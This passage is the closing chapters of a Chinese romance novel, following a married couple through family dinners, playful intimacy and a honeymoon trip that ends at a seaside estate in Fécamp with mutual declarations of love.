如果她再说不信,想必今晚这书房的办公桌是收拾不好的。 夏声别开头,将额头搭在他的肩膀上,尽量稳住自己的声音。 “我信,信的。” 可以了,真的不用再证明了。 之后的几天,夏声无比后悔自己翻旧账的行为。 像是为了加强她的信任度,一连几天,夜夜笙歌。 夏声搬出一周三次的约定,他理直气壮地抓着她的手轻吻。 “上周我们一次没有,这周补上。” 气得她决定要加一条补充条款。 过期次数不再累加! 一直这样可不是办法,没过几天夏声开始旁敲侧击问周仪娇,最近明箴有没有什么大项目。 能让某人再忙起来的那种。 两人正在画廊看展,是周仪娇大学学长办的,里面还有几幅韩子弋的作品。 “应该没有吧。”周仪娇站在一副印象派油彩面前,支着下巴研究,“我最近在交接,也没关注。” 因为苏晋快要回来,她提前决定结束见习,她哥说沈家那块拿回来的地要给她建个酒店,接下来她想亲自找设计,把酒店装好。 很快她的学长来找她说话,夏声独自在一边神思,等周仪娇发现她一直在走神,才问她为什么关注她哥忙不忙。 难言之隐啊,夏声怎么说得出口。 “没什么,想看看他要是不忙了,抽空出去玩一圈。” 闻言,周仪娇眼睛一亮:“蜜月是吧,那我有推荐。” 要说起玩,周仪娇确实是行家,在进明箴之前,她国内外基本上每年都要玩一圈。 眼看她这么积极的建议,夏声干脆直接做起规划,将一推再推的旅行提上日程。 两人开车回西苑吃饭的路上还在聊,远在龙泉的安真打来电话,只有羡慕的份。 “有钱有闲的生活什么时候能轮到我过……” 话虽这么说,但她也只是嘴上抱怨而已。 安真从夏声的婚礼回来就直接飞到龙泉,视频拍到现在不过才刚刚过半进度。 原本她没想将时间线拉得这么长,但是在那待得越久,越会被那一批传承人的执着和坚守打动。 所以脚本一改再改,拍摄细了又细,她生怕自己没有将他们所钟爱的青瓷拍好。 “这个视频要是没火,我至少三个月的时间就白费了,准备吃土。” 夏声问她:“那要是扑了,你还拍这种类型的视频吗?” “拍,拍一个不行就拍十个,反正姐姐我对自己有信心,先抑后扬,先穷后富,老娘的好日子在后头呢!” 其实夏声很想告诉她,她的好日子也许不用奋斗就快来了。 毕竟祁家骏最近在影视行业可是混出不小名堂,据周庭朔说祁家一半的产业现在已经基本都交给他了。 当然,她的好闺蜜现在显然不是想靠男人立足的样子。 日后祁家骏追不追得回她还不好说。 一旁的周仪娇鼓励:“真真姐,你有这魄力,做什么都会成功的。” “你放心,只要有我一天零花钱,就有你一天眼馋的份。” “哇你个没良心的!”安真拔高嗓门,威胁她要回京市直接抓她去做苦力。 “反正你也不在明箴呆了,闲着没事跟姐姐拍视频,给你涨涨见识。” 夏声把周仪娇要建酒店的事一说,对面直接没了声音。 半晌才咬牙切齿地说:“真想跟你们这些有钱人拼了。” 又闲聊几句,三人才收线。 一下车,夏声才想起来问:“怎么妈突然又叫我们回来吃饭。” 周仪娇帮她把买来的礼品提下车,眼神指指从前厅跑出来迎接的周灵熙。 “庆祝她小考考了满分。” 小姑娘已经到眼前,拉着夏声的手,还想帮她提东西。 “我们熙熙这么厉害,那是该庆祝。” 周灵熙小大人一般摇摇头:“才不是,是我爸爸的什么工作成功了,奶奶高兴,才叫大家都回来吃饭。” 这事夏声倒是头回听说,等见到晚一步来的周庭朔,才知道周庭昀近半年一直跟以前大学的同门研究脑机接口方面的程序迭代,前两天跟国内前沿的医疗器械企业达成了战略合作。 “医疗器械……明箴旗下不就有相关产业吗,大哥怎么还去外面找合作?” 对于一个消沉多年,又重回社会的人来说,周庭昀想要证明自己的能力和价值,自然不想多跟家族企业多关联。 如今他凭借自己的专业取得业内认可,成就感是难以言喻的。 周庭朔对他的选择非常理解:“你就当他在证道吧。” 席上大家都很高兴,一向话不太多的周庭昀说起项目相关也是侃侃而谈,中间还开了瓶酒,夏声也喝了两杯。 晚上薛宁玉留他们住下,周灵熙见机行事,说要她留下辅导她功课。 夏声跟她到房间,才看了两道题,小姑娘就说没有不会的了。 转而拉着她开始聊天:“小婶婶,我有个问题,你能如实回答我吗?” 见她一脸认真,夏声点头。 “你跟小叔叔什么时候要 小宝宝?” 她说得一本正经,夏声睁大眼睛仿佛不敢相信自己被一个小姑娘给催生了。 “你问这个做什么?” “上回小叔叔跟我说,让我好好学习,以后家里的公司都要交给我,不能偷懒。” 周仪娇嘟着嘴,小脸上满是不开心。 “可我不想像他那样,天天那么忙,看起来好累哦。”她抬眼试探地看向夏声,“要是你们有了小弟弟,小妹妹,是不是我就不用努力工作了。” 真不知道周庭朔跟一个小孩说这些做什么。 夏声捋着她的马尾辫,给她吃颗定心丸。 “别听你小叔叔乱说,你只管好好读书,以后想做什么自己说了算。” 得了保证的周灵熙心情直接转晴,等到周庭朔来敲门要人时,她还不想放夏声走。 “不能让小婶婶今晚陪我睡吗?” 周庭朔上前将夏声带走:“不能。” 依旧是上次的房间,周庭朔先去洗澡,夏声呆着无聊,转而研究起他书柜里的奖状。 等周庭朔出来,看她掰着手指在那算,也走过去。 夏声估算完,回头看他一眼:“你得的奖可没有我多哦。” 身后的人似乎回想起学生时代的时光,眉梢舒展,带着一身热气从身后拥住她。 “当然,我老婆比我优秀不是很正常。” 恭维话说得顺口,夏声权当一听。 她又从里面随便抽出一本教辅书来,翻了两页就停下来。 “你的书怎么这么干净,不做笔记吗?” 周庭朔抬手翻了翻,在中间几页找到了两行公式注解:“也做,少而已。” 不是刻意强调,但她一听就明白。 “你一定就是学校里那种,不用特别用功就能名列前茅的聪明人吧。” “只能说,不笨。” 讨厌的天赋型选手。 夏声将书放回去,转身准备去洗澡,这才想起来这边好像没有她的睡衣。 “没关系,柜子里有我的衣服,你挑一件穿。” 他的睡衣睡裤她穿都太大,夏声思考一会,突然起了坏心思,侧过身回头略有深意地看了床上人一眼。 随即拿了一件衣服进了浴室。 【全文完结】 第82章 第82章爱欲不灭,心…… 浴室的水声断断续续传来,周庭朔靠坐在床头,摆弄着一个异形魔方。 学生时期喜欢过的东西,从前拼起来不用一分钟,许久不玩显然熟练度下降。 他专注着手上的事,没留意夏声什么时候出来的。 “好玩吗?”床的另一侧传来她的声音。 恰好最后一块拼接完成,周庭朔转头,眸光微颤。 洗过澡的夏声将头发散在一侧胸前,还沁着水意的眸子凝着他。 他的视线向下,属于他的宽大白色篮球服罩在她纤瘦的腰身上,V字领口斜下正停在沟壑中央。 红色的粗体数字刚好落在起伏的弧线上,再往下,嫩白的双腿荡在衣摆边缘,仿佛她轻轻一动,就要有些许春光泄露。 “你,怎么穿了这件。”他的嗓音发涩,带着迟疑。 学生时期他也爱打打球,这件是后来朋友送的限量款,只不过工作之后太忙,这项运动就搁置了,还从未穿过。 夏声抬手比了下:“你的衣服都太大了,这件无袖,穿起来还方便些。” 她转而看向他手里的魔方,抬起一条腿跪坐上床,凑上前低头研究。 “我以前一直弄不明白这个东西怎么拼的,你教教我呗。” 夏声抬手想去拿他手里的魔方,然而他修长的指骨却握着不放。 不知是有意还是无意,她倾身过来的动作让长发荡下来,柔软的发尾扫过他的手臂,也搅动了他平稳的呼吸。 “有公式的,很简单。” 听到他回答,夏声干脆整个人贴过来:“那你演示给我看看。” 旁边的人并没有动作,夏声抬头,正对上他炽热的目光。 宽大的球服弯折在她腿根,随着她弯腰凑近的动作,领口后的风景若隐若现。 洗过澡的夏声并未多穿束缚,所以他的目光简直是长驱直入。 “你确定要现在学?” 周庭朔一只手撑在她身侧,提腰靠近。 “故意选这件衣服,不是想跟我讨论这些吧。” 夏声状似无辜,目光躲闪起来,还特意扯了扯并不多长的衣服下摆。 “你在说什么,我就是随便找了一件而已。” 不给她的狡辩留余地,周庭朔目光落在她球服领口精致的锁骨上,然后手指向旁边一拨,漏出后边隐藏着的小痣。 温热的指腹摩挲片刻。 紧接着,他将人一把抱到腿上,仰起头吻了吻她的耳垂。 夏声扶着他的肩,酥麻的痒意让她想躲,分开的双腿下意识要撑起来,就被他掐在腰间的手按下去。 隔着布料撞上的某处让她呼吸重了一拍。 不轻不重地搓磨,登时令她的身体生了热。 不对了,再玩下去该收不了场了。 她赶紧按住他的肩膀:“我真是随便找的。” “今天我那个来了,什么也做不了。” “真的。” 身下的动作一顿,周庭朔微红的双眼盯着她,半晌叹了口气。 “只管点火,不管灭火。” “你故意折磨我呢。” 沙哑的嗓音,不满的语气。 得逞的夏声鸣金收工,勾着唇正准备从他身上下去,却被他紧紧搂住腰,动作不得。 “做了坏事说走就走,哪有这种好事?” 接下来,主导权又回到他的手中。 夏声从未想过,除了真枪实弹,还有那么多招数可以用。 被他引导教唆着,她是腿也酸手也累,连嘴巴都被他亲得又热又肿,简直比真做也好不到哪去。 实在是经验不足,大意失策,玩火自焚! 最后他是得偿餍足,夏声的脸却烧红一片。 他拿过纸巾帮她擦干净手,见她将脸埋在他胸口不肯抬头,低低笑着:“跟我去洗洗吧。” 真不知道这个时候他怎么还能脸不红心不跳地跟她说话,夏声闷声拒绝,自己转头下床跑进浴室去。 她心有不甘,于是第二天一早,故意掐着时间,又与他厮磨了一阵。 这次,她总算得逞,在他欲意昂扬的时候,按住他的手。 “该下楼了,再不起床一会妈要来敲门了。” 说完,人就动作轻快地抽身离开,留他一个人慢慢消化被撩起的热度。 然而,夏声没来得及开心多久,刚从西苑离开,人就开始打蔫。 实在是前一阵她忙着加班,冰美式当水喝,这回的姨妈痛简直变本加厉。 等到了公司,她手心里已经是一层虚汗,好在公司已经忙过那一阵,她着重安排些重点工作,下午直接早早下班回家。 周庭朔回来时,看她正窝在沙发上,抱着电脑不知在看什么。 等走进,才发现她屏幕上的是旅游攻略。 茶几上还放着徐姐给她冲的红糖姜茶,周庭朔试了下,已经不怎么热了。 “难受得厉害?” 夏声“嗯”了声:“上午肚子疼死我,吃了药才好点。” 人就是这样,贪图一时快乐时通常不计后果,但当承担后果时又后悔当 初。 早知道不喝那么多冰的了。 她将电脑放下,转头看向周庭朔:“真不公平,为什么不能换你做女人?” 后者刚给她换了杯热的红糖水,闻言眉尾一挑。 “这辈子实现不了了,下辈子吧,咱们换换。” 夏声别过脸,掩住眼角的笑意。 “切,谁下辈子还要跟你在一起啊。” 周庭朔看着她将红糖水喝完,弯腰将人横抱起来,夏声赶紧勾住他的脖子。 “你干嘛,我还没看完攻略呢。” 他抱着人走进卧室,把在脚边打转的福宝关在门外,随后将人放到床上。 一边松领带,一边往衣帽间走。 “不用看了,想去哪告诉我,我找人做路线,不用费这些力气,不舒服就好好休息。” 从来都效率优先的人自然不知道旅游前做攻略也是件很快乐的事,当然她现在确实更适合躺着。 夏声躺在床上,侧身刷着手机,没一会从浴室回来的周庭朔,拿着平板电脑也上了床。 她看眼时间,才七点多。 “你不去书房吗?” 靠坐在旁边的人随手解锁屏幕,将平板放在腿上,随后搓了搓手心,伸进被子将手放在她的小腹。 “嗯,今天工作不多,不过去了。” 柔和的暖意顺着他的掌心传到她的皮肤上,很快她的全身好像都热了起来。 夏声看了眼两人之间的距离,随后向他那边挪了挪。 周庭朔工作的时候表情很少,偶尔会带上眼镜,更添一份沉静斯文,比如现在。 在一旁躺着无事的夏声也不再玩手机,转而枕着手背看着他。 大概她视线太直给,很快他便垂眼看过来。 “看了半天得出什么结论了?” 按在她肚子上的手转换角度揉了揉,夏声惬意又满足地笑着。 “得夫如此,妇复何求。” 周庭朔无奈地摇摇头,视线又落回平板上。 “我已经让秘书去调行程,下周就可以休假,你想去的那几个地方,大概十几天也够了。” “真的?” 果然有行动力的人,做什么都不过转眼的事。 这是跟他真正意义上的蜜月旅行,心情目的与从前完全不同,夏声满是雀跃和期待。 十多天时间,足够他们补上一直欠缺的恋爱必修课。 这趟旅程,他们就像普通热恋的情侣一般,在巴西街头看吉普赛女郎热舞,在土耳其坐热气球欣赏最美的晨昏线,在洛杉矶打卡星光大道。 夏声也是这次才知道,他除了英语法语,竟然还会些西班牙语。 平时寡言少语的一个人,旅途中也能跟陌生的老者谈天伦地,甚至在北美洲依然受女性青睐,被一个金发碧眼的小女孩送了花。 她差点就想问出那句名言—— 你还有什么惊喜是朕不知道的? 旅途最后两天,他们飞回到了法国,住进位于fecamp的属于夏声的那个庄园。 花园里的郁金香居然还在盛放,夏声觉得惊喜,管家适时解释。 “先生嘱咐过,这一片只种这一种花。” 现在正值三月底,气候适宜,花色浓郁。 原本的花体拼字已经改了样式,成色块阵列交叉盛放,饱满的大片色彩,热烈迷人。 夏声只顾看花,等再回头时才发现周庭朔又在拍她。 这一路上,时而不时他就会偷偷拍照,手机相册里打开,全是她的身影。 这简直成了他的新嗜好。 “你拍那么多照片干嘛?” 她当然不懂。 经历过饥荒的人,习惯囤置粮食,忍受过思念的人,执着于保存记忆。 周庭朔没多解释,只是将手机放进口袋,上前牵住她的手。 “饿了没,一会想吃什么,我给你做。” “不用了吧,飞了大半天,你也很累了,让厨房随便做点吃就好。” 然而执着的人并没有听她的,依旧亲自给她做了午饭。 有用的小技巧—— 想要留住一个人心,先要留住她的胃。 当然,这些隐秘的心思夏声是一点都不知道的,她只顾在美食前称赞好吃,然后果断要求再来一碗。 因为吃得太撑,下午夏声根本坐不住,好在fecamp一年四季的景色都很好,她便拉着周庭朔去海边散步。 碧蓝的天与海,温热细腻的沙滩,海风徐徐掠过彼此的肩,涌向大海。 夏声一身波点长裙,戴着宽大的遮阳帽,举着临出门时带上的面包喂海鸥。 正巧看到远处有白色的游艇划出圆弧状的浪尾,发动机的嗡鸣一闪而过,看起来刺激又过瘾,比喂海鸟有意思得多。 周庭朔看出她感兴趣,于是十几分钟后,两人已经穿上救生衣来到海上。 这个时节的海风不冷不热,将夏声的裙摆鼓成帆。 她抓着游艇的围栏,努力感受在海上遨游的畅快。 因为体验实在新奇,她甚至想跟安真分享一下,于是录了视频给她发过去。 安真回她一个拒绝不良诱惑的表情包。 【安真:我有红眼病,不要给我看。】 紧接着她发来一个刚上完釉的瓷坯。 【安真:牛马正在搬砖,求不虐。】 【夏声:事业型大女人,你加油。】 她发消息的时候,周庭朔一直在她旁边护着,手臂横在她身后,握着栏杆圈着她。 直到她抬头看向天边。 大片的晚霞从海平面延续到视线尽头,橙红的云或疏或挤,旖丽的颜色倒映入海,碎成片片波光。 恍然一瞬,夏声想到一年前的那个傍晚,她在公路边独自窥见的云霞天光。 夏声转头,肩膀靠向身边人。 暖调的柔光给他的轮廓上了色,他的眼中除了海与天便是她的影子。 “其实我很早就跟你告白过哦,但我猜你想不到是什么时候。” 是情不自禁将眼前景分享给心上人的那刻,是潜意识快于理智的刹那,是爱而不知,心动不止。 他笑意盎然:“嗯,那你介意再说一次吗?” 夏声转过身,海风卷着她的发,将她整个人推到他的怀里。 她轻点脚尖,凑到他耳边。 “周庭朔,你听好啦。” 远处漂洋渡轮发出长鸣,她的唇一开一合,声音恰巧淹没在汽鸣声中。 话音落鸣音停,蓦然的巧合让两人失语片刻,随后又相视一笑。 在下一个浪起时,他拥住她的肩膀,彼此依靠,字句清晰。 “我听到了。” “我也爱你。” ——全文完